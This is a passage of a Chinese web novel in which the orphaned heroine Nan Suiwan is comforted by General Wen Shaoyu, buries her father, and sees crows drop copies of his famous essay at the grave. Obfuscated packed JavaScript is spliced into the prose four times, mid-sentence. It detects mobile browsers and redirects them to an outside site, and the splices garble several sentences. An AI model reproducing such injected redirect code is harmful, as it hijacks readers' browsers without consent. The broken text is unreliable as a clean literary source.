他感觉到胸前的衣襟,迅速地被一片濡湿浸透,滚烫的是她的眼泪。压抑了许久的呜咽,终于在她自以为安全的角落里,泄露了出来,委屈又无助。 “我不想的…我不想他们干坏事…我不想包扎那些伤口…可我什么都做不了…” 南岁莞的声音碎得不成样子,每一个字都狠狠扎在温少虞心上。 “我好恨自己…我是不是做错了…可他们是养了我十几年的父兄啊…为什么要信那个闻香教?为什么要带坏大家?我们以前…我们以前明明是扶危济困的啊…为什么一夜之间,所有人都面目全非,像中了毒,发了疯…偏偏,他们还觉得这是对的…” 她死死攥着他的衣襟,身子抖得像风中落叶:“我舍不得…可我又忍不了…小虞…我好恨…我该怎么办…” 他知道,此刻的她,需要的不是任何言语,不是任何道理。她需要的,只是一个可以让她尽情宣泄的怀抱,一个可以让她确认自己没有错的肯定,一个无声的鼓励。 温少虞伸出手,没有说话,只是将她更紧地圈在怀里,一下又一下,轻轻地拍着她的背,像安抚一个受了惊吓的孩子。 怀里的哭声渐渐从哽咽,变成了抽泣,最后彻底消退,她睡着了,在他怀里,睡得沉沉的,眼角还挂着泪。 那一夜,他就那么抱着她,直到天明,翌日,手臂酸麻得几乎抬不起来。 可当他看到她走出房门,又恢复了往日那副活泼快乐、神采飞扬的模样,他便觉得,一切都值了。 他的小太阳,只是在夜晚耗尽了光芒,需要悄悄缓一缓,到了白天,就又可以照亮所有人了。 思绪抽回,眼前的南岁莞,与记忆中的那个少女,身影渐渐重合,温少虞的心被一种巨大的酸楚与温柔填满。 他没有抽回手,反而顺势,用指腹轻轻摩挲了一下她的手背,而后,他压低了声音,像是怕惊扰了这庭院里沉睡的雪。 “可是想好了,那刀与枪的名姓?”他给了她一个台阶。 南岁莞猛地抬起头。温少虞的眼明亮又澄澈,像被雨水洗过的夜空。眉是挺秀的剑眉,鼻梁高挺如山脊,英气的五官,俊秀得逼人,却偏偏透着一股让人无比心安的可靠。 她忽然就笑了,眼底那点残存的脆弱与迷茫,瞬间被一抹赞赏的亮光取代。 真是个…识趣的男人。 “嗯,”她应了一声,松开了他的袖口,很自然地跟上了他的脚步,高挑挺拔的身影走在前面,替她挡住了所有风雪。 她进了他的屋子,暖意融融。她站定看着他,一字一句清晰无比:“刀名星汉,枪名灿生。” 温少虞的眸光微微一动。“星汉灿烂,若出其里,”他低声念着,唇角缓缓勾起一抹笑意,“好名字,有日月星辰,山河苍茫的意境。” “这名字是我梦里想的,”她轻声说,“梦见山,梦见海。” 可话音刚落,她想到还昏迷着的茯苓,脸上的血色便瞬间褪了个干净,那点笑也变得勉强至极,挂在唇边摇摇欲坠。 她不说话了,屋子里只剩下炭火偶尔发出的轻微哔剥声。 温少虞的视线,始终没有离开过她的脸,他看见了那抹光亮的熄灭,看见了她眼底重新漫上的阴霾。 一如四年前,他在琼水帮的深夜里,看见她强撑着,却满心惊惶的模样。 “娘子面色又白了些,”他开口声音沉稳,像投入湖心的石子,打破了这片死寂,“过来,坐下歇歇吧。” 他率先走到一旁的矮榻边坐下,拍了拍身侧的位置,南岁莞顺从地走过去,坐下。 他没有再说话,只是静静地坐在她身边,他的气息温暖稳定,带着一种令人心安的柏木与浅淡药香,像一座坚不可摧的青山。 南岁莞紧绷的神经,就在这沉默的陪伴里,一寸寸地松懈下来,她忽然侧过头,声音低得像梦呓。 “将军…我昨晚其实很害怕,我看到那条狗,就趴在我的床底下…我甚至能闻到它嘴里的腥气。我不明白…茯苓是我最忠心的侍女,她自小与我一同长大,武艺不差,为何…为何会让一条疯狗,悄无声息地,潜到我的床下?” 她的声音开始发颤,带着一丝自己都未曾察觉的哭腔,“那狗的爪子被磨平了,嘴也被毒哑了,可它的尾巴…尾巴上淬了闻香教的毒。若是我没有醒…若是我被它咬上一口,甚至只是被那条尾巴扫到…” “我是不是就会在这寂静的夜里,悄无声一息地…就这么死了?”她说到最后,尾音已经破碎。 一只温热干燥的大手,覆上了她冰凉的手背,温少虞握住了她的手,下一刻,他手臂稍一用力,便将她整个人都揽进了怀里。 他的手,一下又一下,轻轻地拍着她的背,和记忆中,那个安抚着十六岁的她的夜晚,一模一样。 “我知道,”南岁莞的脸埋在他坚实的胸膛里,声音闷闷的,带着浓重的鼻音,“我知道茯苓不是故意的…她为我挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081045|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过刀,为我受过伤,这些日子跟着我担惊受怕,又忙着操持丧仪,心力交瘁,才有了疏忽…” “可是…可是我一闭上眼,就看到那条狗的影子…我放不下,”她抬起头,泪眼婆娑地看着他,问得小心翼翼,“将军,你说,我是不是太小心眼了?” 温少虞的眸色深沉如海,他低头,用指腹轻轻揩去她眼角的泪:“疑则勿用,用则勿疏。” 他一字一句,说得缓慢而清晰:“你既已心生疑窦,便再难用得坦然。” “可她毕竟…”南岁莞哽咽着,“她毕竟…” “一次不忠,百次不用,”温少虞打断了她,语气却依旧是温柔的,“于君臣是,于主仆亦是。这不是你的错。” 南岁莞的眼泪,终于彻底决堤,她呜咽出声,像个迷路的孩子:“我不想再看到她了…我真的…不想再看到她了…” “好,”温少虞应得没有一丝一毫的犹豫,“你没有错。” 他捧着她的脸,郑重其事:“害怕是人之常情,迁怒亦是,何况这并非迁怒。茯苓的功我们记着,她的过我们也得认。” “给我三个月,”他看着她的眼睛,“我会为她寻一个最好的归宿。让她下半辈子,衣食无忧,安稳富足,如此可好?” 南岁莞怔怔地看着他,心底那块最沉重、最纠结的石头,就这么被他轻而易举地挪开了。她没有错,她可以害怕,可以怨,他懂她。 南岁莞缓缓地,朝他伸出了双手,那是一个全然信赖的,索取拥抱的姿势。 温少虞瞬间领悟,他眸光一柔,左手穿过她的腿弯,右手稳稳托住她的背,只稍一用力,便将她整个人打横抱起,稳稳地放在了自己的腿上。 一个坐着的,密不透风的公主抱。 南岁莞侧身靠在他温暖而坚固的胸膛里,终于能肆无忌惮地,将头埋在他带着皂角清香的衣襟里,哭了个痛快。 许久,哭声渐歇,她才慢慢转过头,视线无意间,落在了他放在自己膝上的左手上,那只手,袖口被特意拉长了许多,几乎要盖住整个手背。 可她还是看见了,那从袖口边缘一直蔓延到手腕之上的,一道浅粉色的狰狞疤痕,侍卫们说说,是那日他让一半的人马救她,自己应付着全村的汉子,左臂被一刀砍得血肉模糊。 她的心猛地一颤,想想仍是后怕,她想起前几日,自己随口抱怨过,说嫁衣繁复,怕是遮不住左臂上那道旧伤疤。 原来…原来他都记着,他怕她看见他手上的新疤会难过,会自责,所以才刻意用袖子遮了起来。 一股暖流,瞬间涌遍了四肢百骸,要将方才所有的后怕与冰冷都驱散,南岁莞的心腾腾地化开,酸酸软软。 她伸出右手,指尖轻轻探入他宽大的袖口缝隙里,一点点向上摸索,然后她触到了那道尚还温热的,凹凸不平的疤痕。 她没有说话,只是用指腹极尽温柔地,一遍又一遍,轻轻抚摸着。他也没有说话,只是抱着她的手臂,又收紧了几分。 晚冬初春的阳光,恰在此时,从竹帘的缝隙间,一缕一缕地洒落进来,光尘在空气中安静地飞舞,那一刻,美好得有些不真实,仿佛时光都变得缓慢而梦幻。 那一道道白光,像是从窗间长了出来,带着一种神圣而永恒的美,正一点一点看着他们治愈彼此的伤口。 12. 茯苓 凌晨,天际泛起一片幽深的蓝紫色。启明星和一颗孤零零的小星子在远处辉映着。 风吹散几缕薄云,露出一弯残月时,那颗小星子无力地闪烁了几下,终归,彻底隐入了更深的暗幕里。 温澹托腮,目光深邃地望着窗外逐渐逝去的夜色。他垂眸视线落在榻上,茯苓安静地侧卧着。 三足小炉里,浓稠的灰黑药液正冒着细密的泡泡,发出轻微的蒸腾声,药香苦涩而又温暖,氤氲在清冷的空气里。 “茯娘子,不装睡了?”温澹的声音虽是倦怠,但清亮有力,透着洞悉一切的了然。 榻上的人身形微微一僵,茯苓缓缓扭过头,平日里如小鹿般圆润的妙目,此刻却乌黑幽深,不见一丝光亮。 “那得看澹郎,诊出来多少了,”她说得低沉又沙哑。 温澹闻言腆了腆脸,带着几分自嘲的玩味:“哎呀,小生才疏学浅当真诊不出,只好留下求娘子指教了。” 茯苓的眼底闪过一丝嘲弄,却又迅速消散。“无可奉告,”她干脆地吐出四字,继而闭上眼背过身去,仿佛要将他彻底隔绝在她的世界之外。 温澹看着她紧绷的脊背,心头涌起一股说不清道不明的压抑。“不过,”他并未放弃,声音低沉而缓慢,“那条狗,唯有尾巴淬了剧毒。” 他刻意停顿了一下,似乎又真切地赞叹起:“钦佩娘子,抱得那么准。” 茯苓的肩膀微微颤动了一下,随后,一声轻笑从喉间逸出。“总不像某人,”她未回头,声音带着几分清冷,又隐隐透着疲惫,“白长了一双好眼招子。” 温澹的唇角微不可察地勾起,脑海中浮现出四年前的夜色,将军焦急的目光,还有那句让他去“多留意茯苓,她跟着岁岁吃了不少苦”。 这四年间将军总担心南小姐的身体,让他看护时,也常吩咐他顺道看茯苓买的药材。 他想起几日前,自己奉命端着药碗,站在竹帘外偷看的情形,却不巧被将军逮了个正着。 他虽不擅“偷看”这等行径,没几次就被茯苓逮着,但不打不相识,四年间他和茯苓也熟络起来,而且他看人素来准得很。 他想着茯苓,她与将军分明是早就相识,更像是这世上陪伴南小姐最久的人。 他伸手取过床头空碗边的药勺,轻柔地搅动着小炉中咕嘟冒泡的药汁,随后拿起一只碗,盛上了药。 碗上惨白色的陶面只绘着淡紫色的画:寂寥雨巷,颓圮篱墙,墨迹已然磨褪色,只剩丁香清清冷冷兀自惆怅着。 这是茯苓偏爱的湿冷阴霾的淡紫、幽静凄美的丁香,与南小姐钟爱的那种,舒心大方的浅碧生机截然不同。 温澹将药碗轻轻放在榻头的矮几上,起身无声地走了出去。门被轻轻带上,发出一声极微弱的,近乎呢喃的“咔嗒”声。 门板隔绝了外面的世界,茯苓紧绷的身体才骤然松懈下来。她半撑着身体缓缓坐起,视线落在床头那碗冒着热气的药液上。 碗中倒映着她泛红的眼尾,还有那已然湿模糊的面颊。她不知自己究竟哭过多久。 眼前碗中的倒影开始扭曲,继而恍若变成了一艘在波涛中剧烈摇晃的巨大木船,耳畔似有重瞳烈火燃烧的噼啪声,以及孩童绝望的哭喊。 一尊巨大的黄铜大祭坛,在船舱深处,映照着七岁那年自己泪流满面的小脸。 粗糙的麻绳一拳粗细,交叉着死死地将她绑在胸口,背后正是那两米高、被烈火烧得通红的铜柱。 炙热的气息烤灼着她的皮肤,即将惨死的恐惧瞬间霸占了她的整个脑海。 就在这千钧一发之际,船舱外忽然传来激烈的厮杀声,还有火焰吞噬木头的爆裂声。 她左边,一个只到她腰那么高的小女孩,原本正奉命推着她,让她靠近那灼热的铜柱。可那小小的身影,却在这一刻,猛地摸出了一块尖锐的碎石。 小女孩没有丝毫犹豫,迅速割断了她胸前的麻绳,她仰头,小小的脸庞上沾着灰,乌黑的眼珠亮得惊人。 “我松开你,”她奶声奶气地,却又无比坚定地开口,“你带我跑。” 茯苓永远记得那双稚嫩的小手,是如何紧紧抓着她粗粝的衣角。她记得奔逃中,那肉嘟嘟的小脸扬起,笑容里露出几颗刚长齐的小牙齿。 “我叫岁岁,”软糯的童音清澈又稚嫩,“你叫什么?” 她那时喘着粗气,胸口被勒痕留下的剧痛撕扯,却还是沙哑地回了一句:“我叫伏。” “哦!”小女孩的眼睛瞬间弯成了月牙,像捡到了最喜欢的糖,“伏伏有福气福气!” · 那个拥抱漫长得像一个世纪,久到南岁莞几乎要以为,自己会永远沉沦在他怀中,那股冷冽又安稳的松木香里。 温少虞终是松开了手,却未让她离开,他深黑的眼瞳沉沉地看着她,那里面有她读不懂的惊涛骇浪,但她能看懂那最浅层的一分,是担忧。 他看出她仍心有余悸,看出她此刻回到自己那间屋子,只会对着四壁空墙久久难眠。 “就在此歇下吧。”他的声音低沉,不带询问地陈述着。南岁莞没有矫情推拒,她确实怕。 这一觉,她睡到了申时。醒来时,帐外天光大亮,不似早间昏沉,倒像是被什么映照得格外清透。 她赤足下榻,推开窗,才发觉外头已落了一场薄雪。雪落春庭,洗尽尘嚣,一片明霁。她的心也跟着这片雪景,倏然开阔了几分。 转过身,她怔住了。屋中的矮几上,不知何时多了一只小小的红泥炉子,炉上温着一壶酒,火烧得通红,暖意融融。 旁边摆着两只小巧的浅碧芳樽,樽中已盛满了酒液,因着温热,正浮起一层细密的绿泡沫,像无数可爱的小蚂蚁,沿着杯壁缓缓往上爬。 她走过去,指尖拂过温热的樽壁。“绿蚁新醅酒,红泥小火炉,”她不禁轻声吟哦,唇角弯起一抹自己都未曾察觉的笑意。 原来是为她压惊,为她舒心。 她端起一杯,浅啜了一口,清甜的果香瞬间在舌尖绽放,暖意顺着喉管淌进四肢百骸,是她最喜欢的甜果酒,这冬春交际的时节,他竟还能寻来。 温少虞掀帐进来时,看到的便是这样一幅光景:美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095741|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人临窗,执樽饮酒,窗外是皑皑白雪,屋内心是融融炉火,她的侧脸在光影下美得不似凡尘。 南岁莞听到动静回头,许是酒意暖身,又许是女儿家的羞赧,脸颊上泛起好看的薄红。“我这样歇在将军屋里,太不像样了,”她有些不好意思,声音里带着一丝谦虚。 温少虞的目光落在她微红的唇上,喉结微动,语气却是一贯的纵容:“待回京成婚后,你想歇在哪儿,便歇在哪儿。” 南岁莞闻言,好看的眉头却轻轻蹙了起来,她将酒樽放下,认真地看着他:“我…我偏不像她们。” 她口中的“她们”,是世俗赞誉的那些端庄淑女,行止有度,笑不露齿:“我随性惯了,活得自在些,才更像我自己。” 她想起半月前,那个清晨,她失手打碎了案上的一只釉里红瓷瓶。那瓷瓶流光溢彩,美得惊人,可瓶子碎裂的瞬间,滚落出来的,却是一地深棕色的苦涩药丸。 她觉得自己就像那些药丸,被硬生生塞进一个漂亮精致的瓷瓶里,装作名门贵女,装了整整四年。 如今,这沿途的凶险与变故,无意间将瓶子打碎了,瓶中的本性,便再也一发不可收拾地涌了出来。 温少虞没有说话,只走过来在她身侧坐下,静静地等着她。他以为她会问,会像个迷路的孩子一样,揪着他的衣角问:“我是不是不算个好人?” 但他又再想想,品出了她语气里是纠结而非自厌,便也放下了那份沉重,唇角勾起一抹极淡的弧度,调侃道:“你有数便好。” 南岁莞噗嗤一声笑了出来,方才那点阴霾一扫而空。 “知者减半,愚者全无嘛,”她又端起酒樽,狡黠地冲他眨了眨眼,“我虽不记得你了,却还记得师父教我的东西。” 温少虞垂眸低笑,不言语,他是想起琼水帮的日子。 她那个名义上的义兄,总爱捏着她的脸颊调侃:“岁岁,你这身手上乘的功夫,怎的越发疏懒了?莫不是太沉迷于你捡回来的这个小白脸,忘了本了?” 那时,她总是拍开他的手,叉着腰,一本正经地跑到自己面前:“温少虞,我们约法三章。从今日起,我们互拜为师。你教我读书写字,我教你拳脚功夫。” 他那时还能如何?只能温驯顺从地点头应下,他甚至有些松了口气,再任由她那般不管不顾地撩拨下去,他怕自己真有一日会招架不住。 她从来如此,实在有趣得紧。 温少虞又抬眼,对上她那双清亮得能映出人影的眸子,忽然起了试探的心思:“你又如何确定,这句不是我教你的?” 南岁莞的眼睛倏然一亮,像是发现了什么天大的趣事。下一瞬,她整个人都扑了过来,小脑袋亲昵地靠在他肩上,软软地蹭了蹭。 她用一种近乎撒娇的语气,拖长了调子:“好哥哥,那之前…你还教过我什么呀?” 温少虞的身子瞬间一僵,他后悔了,他绝对是被蛊惑了,这句话分明给自己挖了个大坑。 可看着她那双亮晶晶的,满是好奇与期待的眼睛,那些欺骗或敷衍的话,竟一句也说不出口。 13. 我的幸运 太 闹 人 温少虞肩上忽地一沉,隔着衣料,是南岁莞小脑袋热乎乎的温度,还有发丝毛茸茸的触感。 他没有动,眼睫垂下,眸光微微闪烁,余光里是南岁莞全然信赖的侧脸,和那双不设防的、亮晶晶的眼睛。 他静默了片刻,忽然开口,声音里带着一丝不易察觉的郑重:“娘子为那对刀枪取名前要焚香沐浴,说是敬畏。那我教过你的东西也不妨写下来,给你当个念想。” 南岁莞闻言倏然直起身子,眼中狡黠的光一闪而过:“我可听说了,将军年少时的宏愿,是效仿前贤写一本兵书传世。” 她伸出手指,煞有介事地比划着:“那可是子部兵家之言,你若还教过我史部梁书、经部孔孟、集部诗词…” 她凑近他,促狭地眨了眨眼:“传到后人耳朵里,温将军可不就是一位青史留名的全才了?” 温少虞耳根一热,伸手便捉住了她乱晃的手腕,胸口却莫名一轻,像是被什么暖融融的东西包裹住了。 他低声嗔怪:“你这张嘴,真是越来越闹人了。” 二人笑闹着推攘了一阵,又各自端起酒樽,有一搭没一搭地聊着天。温少虞再为她斟酒时,才发觉壶中已空。 他唇角一勾,带了点狡黠:“看来,计时已到,该谈正事了。”说罢,他从袖中取出一叠纸,递到她面前,不厚,薄薄七页。 南岁莞接过来,目光一触及那字迹,便挪不开了,纸上字迹满满当当,齐整得几乎不见一处涂改。 字体中宫收紧,四周舒展,笔画间架舒朗开阔,中锋行笔圆润饱满,不见锋芒却自有风骨。 秀雅而不张扬,只给人一种平和又舒适的感觉,一如他这个人温和谦逊,清隽儒雅,却也…单薄了些。 她一目十行地看下去,从送葬的路线、时辰,到沿途驿站的护卫增派,竟无一处不妥帖,她竟一时也想不出任何可以完善之处。 “将军你…心思当真缜密。” 温少虞见她指尖在那挺拔又柔和的字迹上流连,爱不释手,便温声道:“这份便留你这儿,我手头还有草稿备份,若有疑议,随时来寻我。” 顿了顿,他又补了一句:“今夜,也还歇在这儿。” 南岁莞猛地抬头:“你…又要去和偏将周莽挤一张榻?” 他低头一笑,轻轻“嗯”了一声。南岁莞低下头,看着纸上那撇捺舒展、沉稳有力的字,再抬眼,望向他清隽雅正的眉眼。 她愈发觉得,自己真是走了天大的运。当年那般“欺负”过他,如今非但没被记恨,反倒被他这般不计前嫌地护着。 她也愈发好奇,被她忘掉的那些过往里,他们究竟是怎样的光景。 酒樽里,清亮的酒液映着她双手托腮的模样,薄红的脸颊,如一朵含苞待放的春桃。 · 次日雪停了,天地间只余一片刺目的素白。南岁莞踏入灵堂时,昨夜那点融融的暖意,被扑面而来的寒气尽数吞没。 灵牌与遗像上,覆着一层薄薄的黑纱,看不真切。贡桌上的白烛高燃,烛泪蜿蜒垂落,如凝固的泪痕。 两侧楹柱,贴着白绸黑字的挽联,在肃杀的晨光里字字泣血。 上联是:出身刀笔吏,从古知兵非好战。 下联为:创业树功人,平昔谋政本为民。 她望着那十四个字,心中一片茫然,这就是她的父亲,活在功勋与别人口中时的样子,而不全像那个眼底深邃、眉目含笑、劳碌却又温和的身影。 灵堂正中,静静停放着一口楠木灵柩,头朝里,脚朝外。棺上覆着一方红绸金粉书就的铭旌:文襄侯南赫。 其下,是短短的生卒年月,与一页密密麻麻、几乎要溢出绸缎的功勋。 开国,治国,他短暂的五十五年波澜壮阔,而留给她的,却只有相府四年的记忆。 温少虞走到她身侧,声音压得极低:“时辰到了。”她点了点头,二人并肩上前,献上祭品,对着灵柩,深深三鞠躬。 她每一次弯腰,都觉得背上的天又塌了一寸,以后就永远少了,那个护着她、爱着她的温柔的苍天。 随后,是温少虞带来的侍卫们,他们依次上前,神情肃穆地祭拜,这些人曾是父亲的袍泽,或是他提拔的后辈。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105252|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们眼中的哀恸,看得她愈发伤神。 司仪尖细的唱喏声划破沉寂:“迎灵——毕——起灵——” 南岁莞看着八位杠夫走到柩前,稳稳托住前端,将那沉重的木料抬上肩头,看起来比想象中更沉,是一个男人一生的重量。 温少虞没有看她,只沉声对身侧的偏将道:“接引魂幡来。”一根竹竿递到他手中,幡上白绸在风中猎猎作响,他持幡走在了队伍最前头。 南岁莞跟在他身后,一步一步,踩着他留下的脚印,哀乐呜咽而起,像是从地底深处传来的哭号。 两侧侍卫不断向空中扬撒着雪白的纸钱,设下路祭,那纸钱纷扬落下,像一场永远不会停歇的,迟来的大雪。 不过小半个时辰的路,她却觉得走了一生那么长。终于到了祖茔。 南岁莞看着那新挖开的墓穴,暗自松了一口气,还好一路无事,是他昨夜的安排滴水不漏。 这口气一松,蓄了许久的眼泪便再也忍不住,一滴两滴,就像江南淅淅沥沥、永无休止的黄梅时节,怎么也擦不干净,她索性也不擦了。 父亲下葬,她成了真正的孤女,失怙之痛,在此刻才如淬了冰的利刃,狠狠扎进心口。 侍卫们将灵柩缓缓放入土中,发出沉闷的声响,温少虞走到她身边,将一捧新土递到她手中。 他的手,包住了她冰冷颤抖的手,那掌心隔着素服,传来沉稳的暖意,让她不至于当场软倒。 她颤抖着,将那捧带着凉意的泥土,撒了下去,盖住了那方红绸,也盖住了“南赫”这个名字。 从此,尘归尘,土归土。 他们撒土掩埋,又一同将墓碑梳理干净,献上最后的贡品,再行祭拜大礼,葬毕时天光依旧惨淡。 温少虞扶着她的手臂,声音里是她从未听过的温柔:“我们该回去了。” 她抬起泪眼,望向他。风吹起他额前的碎发,露出那双深邃的眼。那眼中没有客套的悲悯,而是她看不懂的,一种深沉的、几乎要满溢出来的痛惜。 仿佛她此刻承受的所有孤寂与伤痛,他也感同身受。 14. 承诺 凛冽的杀气如冰冷的雨水,瞬间浸透了每个人的骨髓,风声鹤唳,草木皆兵。 南岁莞握着灿生红缨枪的手,不禁指节泛白,她紧盯着那片压顶而来的黑云,心脏在胸腔里狂跳,震得她只觉嗡嗡作响。 温少虞的星汉长刀横在身前,他没有看她,但她能感觉到他身体的每一寸肌肉都绷紧了,像一张拉满的弓蓄势待发。 “再近些…”他低声自语,声音被风声与鸦噪撕扯得破碎。 尸鸦群俯冲的速度极快,翅膀扇动的风压得人几乎睁不开眼,那股腐肉的腥臭味愈发浓烈,几乎要凝成实质,钻进人的七窍。 就在长刀与红缨枪即将挥出的瞬间—— “呱!”领头的尸鸦发出一声短促的尖叫,鸟群的动作竟在半空中齐齐一顿,它们矫健地松开了漆黑的爪子。 刹那间,天空中下起了一场诡异的“大雪”,成百上千张白麻纸,如漫天飞舞的蝶,又如送葬时撒下的纸钱,纷纷扬扬,铺天盖地而来。 没有利爪,没有尖喙,只有一片死寂的白。 温少虞的瞳孔骤然一缩:“躲开!别让纸沾身!” 他厉声高喝,反应快得惊人。话音未落,他已揽住南岁莞的腰,将她带到自己身侧,同时手腕一振,星汉长刀化作一道银色的匹练,在空中划出一道凌厉的圆弧。 “唰——!”刀风呼啸,将二人头顶那片白麻纸尽数扫开,远远荡了出去。 然而,不是所有人都有这般身手。“哎哟!”一声惊呼,谢皇贵妃的侄子谢灵,被一张纸不偏不倚地糊在了脸上。 他这几日因在楼桑村带头闹事,害得众人险些中招,一直灰头土脸,此刻更是狼狈。谢灵手忙脚乱地扯下脸上的纸,本想扔掉,却被上面淋漓的墨迹吸引了目光。 他垂头丧气地瞥了一眼,可他却像是被雷劈中,整个人僵在原地。 他瞪大了眼睛,几乎不敢相信,颤抖着手指,将那张薄薄的麻纸凑到眼前,又看了一眼:“《讨…讨梁焉檄》?!” 他的声音又尖又细,带着一丝破音的颤抖,划破了这片诡异的寂静。南岁莞的心跟着猛地一跳,这个名字… 她看向温少虞,发现他原本紧绷的下颌线,在听到这四个字时,竟有了一丝难以察觉的松动。 谢灵像是魔怔了一般,指着那纸,结结巴巴地念出了第一句: “‘…夫史者,镜也,鉴古可知兴替;君者,舟也,民为水能载亦能覆…梁神宗倒行逆施,加派‘剿饷’、‘练饷’,民不聊生,此为不仁!’” 他的声音不大,但在死寂的墓园里,却如晨钟暮鼓,清晰地敲在每个人的心上。 南岁莞的呼吸都要停滞了,她父亲南赫当朝丞相,其文采风流名满天下,而这篇《讨梁焉檄》,正是他一生中最负盛名的文章之一。 据说,当年此文一出,都城纸贵,文坛领袖赞其“一字值千金”,读之如饮醇醪,不觉自醉,又如警世之钟,醒人心智。 文中痛斥前朝梁神宗,为应对连年战争与国库赤字,横征暴敛;错杀漠北名将姬甫,又逼其弟姬隽仓促出战,致使兄弟二人皆战死沙场;重用宦官,党争不休,错失议和良机…… 字字泣血,句句诛心。 南岁莞曾听府中西席讲过,父亲写这篇檄文,是为了警示当今圣上,“前事不忘,后事之师”。 可为何…为何会在此刻,以这种方式,从天上掉下来? “…错杀姬甫,不纳其言,反令其弟姬隽孤军深入,终致漠北失守,此为不智!”谢灵还在念,声音越来越响,仿佛要将那纸上的磅礴之气都宣泄出来。 温少虞的目光,沉沉地落在南岁莞苍白的脸上,他看到她眼中的迷茫与震动,那双清澈的眸子像被投入石子的湖面,泛起圈圈涟漪。 他的心蓦地一疼,他知道她又想起了她的父亲。 就在这时,那盘旋在众人头顶的尸鸦群,在投下所有檄文后,竟不再停留。 领头的巨鸦又发出一声高亢的鸣叫,双翅一振,带着整片黑云,头也不回地朝远方天际飞去。 来如风雨,去似微尘,仿佛它们的任务,就只是来送这一场“文章雨”,只留下满地狼藉的白麻纸,和一群惊魂未定的人。 温少虞收刀入鞘,动作行云流水,他走到南岁莞身边,低声问:“吓到了?” 他的声音驱散了她周身的寒意,南岁莞摇了摇头,弯腰捡起脚边的一张麻纸。 纸上的字迹,铁画银钩,力透纸背,仿的是她父亲身子还康健时的笔迹。 她摩挲着那熟悉的字迹,眼眶一热,低声道:“我只是…没想到。”没想到,父亲的葬礼,会收到这样一份来自他自己的“祭文”。 南岁莞的指尖冰凉,她迅速拨下那张沾在灿生红缨枪枪尖上的白麻纸,纸张轻薄,却似有千钧之重。 她的目光贪婪地扫过那些熟悉的笔迹,一行行一字字,仿佛要将它们深深刻进骨血里,她默读着,心跳随着文字的起伏而剧烈搏动。 当读到最后一句时,她的呼吸猛地一窒。“权胜才则辱,威胜才则祸。”权力胜过才能,是耻辱;威势压过才能,是灾祸。 这是父亲在针砭前朝末代皇帝梁焉,说他虽有统领一军一团的威望,却没有治理一国之君主的才华与德行。 一瞬间,眼前的墓园、尸鸦、漫天纸屑都消失了。南岁莞的思绪,被拉回到了一个遥远的午后。 那也是一个雪后初霁的日子,暖阳融融,洒满蘅园。她坐在那张巨大的黄花梨木书案前,晃着两条小腿,百无聊赖地看着父亲。 父亲南赫一身素色常服,手里拿着一卷书,正苦口婆心地对她说教:“岁岁,你要记住,‘其知弥精,其所取弥精’。” “什么意思呀,爹爹?”她歪着头,乌黑的眼珠里满是迷茫。 “意思是,你的见识越精深,你所能获取的东西才会越精良,”父亲的声音温润如玉,带着春风般的暖意。 父亲抿了口菊花罗汉果茶,接着说:“你要量力而行,力弱便休要负重,言轻就莫去劝人。切莫被一时的富贵迷了眼,忘了自己能端多大的碗。” 她听得一知半解,注意力全在桌上那碟精致的桂花霜糖糕上,忍不住偷偷咽了口口水。那副馋嘴的可爱模样,惹得父亲失笑。 他放下书卷,伸出温暖的大手,轻轻抚摸着她梳得整整齐齐的小螺髻:“罢了,你现在听不懂也无妨。” 他的声音里满是宠溺:“若是真做错了事,也不打紧,再改就是了,知耻近乎勇。况且…”他顿了顿,眼底是化不开的温柔,“有爹爹帮你兜着。” “爹爹…”一声破碎的呜咽从南岁莞的唇边溢出,回忆的暖阳,被现实的寒风吹得支离破碎。 她还在这里,站在父亲的墓前。而那个说要为她兜底的人,已经永远地躺在了这片冰冷的土地之下。 一滴滚烫的泪,砸落在她握着麻纸的手背上,紧接着,第二滴,第三滴…泪水决堤,模糊了她的视线,也浸湿了父亲的笔迹。 忽然,一只更温暖、更宽厚的手,轻轻握住了她的手。那只手拿着一方干净的丝帕,温柔而笨拙地,替她擦拭着手背上不断落下的泪珠。 是温少虞,南岁莞抬起泪眼朦胧的脸望向他,他的眼眸深邃,盛满了痛惜与爱怜。 她想说些什么,可喉咙像是被一团棉花堵住,涕泪交织地嗫嚅着,一个字也吐不出来。 为什么,为什么我总是这样?为什么总要别人为我兜底,为我照顾? 从前是爹爹,现在是温少虞…难道我天生就是个麻烦,只会惹祸,甚至…会给身边的人带来不幸吗? 这个念头如同一根毒刺,狠狠扎进她心里,南岁莞的身体控制不住地颤抖起来。 温少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 